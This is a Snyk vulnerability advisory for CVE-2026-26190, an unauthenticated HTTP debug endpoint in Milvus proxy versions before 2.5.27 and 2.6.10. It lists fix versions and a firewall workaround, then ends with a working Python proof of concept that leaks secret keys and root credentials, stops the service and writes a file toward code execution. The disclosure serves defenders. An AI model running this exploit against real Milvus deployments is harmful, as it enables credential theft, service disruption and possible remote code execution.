Insecure Default Initialization of Resource Affecting github.com/milvus-io/milvus/internal/distributed/proxy package, versions <2.5.27>=2.6.0 <2.6.10
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-GOLANG-GITHUBCOMMILVUSIOMILVUSINTERNALDISTRIBUTEDPROXY-15272646
- published12 Feb 2026
- disclosed11 Feb 2026
- creditYingLin Xie, 0x1f, ac0d3r
Introduced: 11 Feb 2026
CVE-2026-26190 Â (opens in a new tab)How to fix?
Upgrade github.com/milvus-io/milvus/internal/distributed/proxy to version 2.5.27, 2.6.10 or higher.
Overview
Affected versions of this package are vulnerable to Insecure Default Initialization of Resource via the registerHTTPServer function. An attacker can gain full access to sensitive configuration data, manipulate or delete collections, manage user credentials, shut down services, and write arbitrary files to the server filesystem by sending unauthenticated requests to exposed endpoints.
Workaround
- Block external access to port 9091 using firewall rules or network policies.
PoC
import requests
url = "http://<target>:9091/expr"
# Leak sensitive configuration (e.g., MinIO secret key)
res = requests.get(url, params={
"auth": "by-dev",
"code": "param.MinioCfg.SecretAccessKey.GetValue()"
}, timeout=5)
print(res.json().get("output", ""))
# Retrieve hashed credentials for the root user
res = requests.get(url, params={
"auth": "by-dev",
"code": "rootcoord.meta.GetCredential(ctx, 'root')"
}, timeout=5)
print(res.json().get("output", ""))
# Denial of Service — stop the proxy
res = requests.get(url, params={
"auth": "by-dev",
"code": "proxy.Stop()"
}, timeout=5)
# Arbitrary file write (potential RCE)
for cmd in [
'param.Save("proxy.accessLog.localPath", "/tmp")',
'param.Save("proxy.accessLog.formatters.base.format", "whoami")',
'param.Save("proxy.accessLog.filename", "evil.sh")',
'querycoord.etcdCli.KV.Put(ctx, "by-dev/config/proxy/accessLog/enable", "true")'
]:
requests.get(url, params={"auth": "by-dev", "code": cmd}, timeout=5)